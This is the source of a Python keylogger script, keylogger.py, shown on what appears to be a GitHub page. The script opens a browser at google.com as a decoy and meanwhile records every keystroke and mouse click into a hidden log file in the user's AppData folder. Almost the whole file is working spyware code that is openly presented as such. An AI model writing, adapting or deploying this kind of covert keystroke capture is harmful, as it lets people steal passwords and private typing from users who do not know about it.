-
Notifications
You must be signed in to change notification settings - Fork 1
/
keylogger.py
92 lines (75 loc) · 3.45 KB
/
keylogger.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
# ========== Keylogger ==========
import logging
import os
import webbrowser
from pynput import keyboard, mouse
# ========== Fake Browser ==========
# Creating a "fake" browser page where it actually runs the keylogger
url = 'http://www.google.com'
# & sign at the end makes the program run after the page opens
chrome_path = 'C:/Program Files (x86)/Microsoft/Edge/Application/msedge.exe %s &'
webbrowser.get(chrome_path).open(url)
# Some keyboard events that will not be recorded
unimportant_types = [keyboard.Key.down, keyboard.Key.up, keyboard.Key.left,
keyboard.Key.right, keyboard.Key.end, keyboard.Key.home,
keyboard.Key.insert, keyboard.Key.media_next,
keyboard.Key.media_play_pause, keyboard.Key.media_previous,
keyboard.Key.media_volume_down, keyboard.Key.media_volume_mute,
keyboard.Key.media_volume_up, keyboard.Key.menu,
keyboard.Key.num_lock, keyboard.Key.page_down, keyboard.Key.page_up,
keyboard.Key.pause, keyboard.Key.scroll_lock, keyboard.Key.shift_l,
keyboard.Key.shift_r, keyboard.Key.ctrl, keyboard.Key.ctrl_r,
keyboard.Key.ctrl_l, keyboard.Key.alt_gr]
# NumLock-keypad to digit transformation
numeric_dict = {'<97>': '1', '<98>': '2', '<99>': '3', '<100>': '4', '<101>': '5',
'<102>': '6', '<103>': '7', '<104>': '8', '<105>': '9'}
logPATH = os.environ['appdata'] + r'\log.txt'
# Defining the keylogger functions that runs in the background
def on_press(key):
"""
Function that processes keystrokes depending on the pressed key
Args:
key: Each pressed/recorded keystroke
"""
# Creating a fake Browser page where it actually runs the keylogger
with open(logPATH, 'a') as log_file:
if type(key) == keyboard._win32.KeyCode:
if len(str(key)) >= 4:
try:
log_file.write(numeric_dict[str(key)])
except:
pass
else:
log_file.write(str(key.char)) # alphanumeric characters
elif type(key) == keyboard.Key: # other characters
if key == keyboard.Key.backspace:
log_file.write('~')
elif key == keyboard.Key.enter:
log_file.write('\n')
elif key == keyboard.Key.caps_lock:
log_file.write('`')
elif key == keyboard.Key.space:
log_file.write(' ')
elif key == keyboard.Key.tab:
log_file.write('\t')
elif key in unimportant_types:
log_file.write('')
else:
log_file.write(str(key))
return key
def on_click(x, y, button, pressed):
"""
Function that processes mouse clicks depending on the location
and if pressed.
"""
logging.basicConfig(filename=logPATH, format='%(asctime)s %(levelname)-8s %(message)s',
level=logging.INFO, datefmt='%Y-%m-%d %H:%M:%S')
if pressed:
if button == mouse.Button.left:
logging.info('Left mouse pressed')
elif button == mouse.Button.right:
logging.info('Left mouse pressed')
# listening process
with keyboard.Listener(on_press=on_press) as listener:
with mouse.Listener(on_click=on_click) as listener:
listener.join()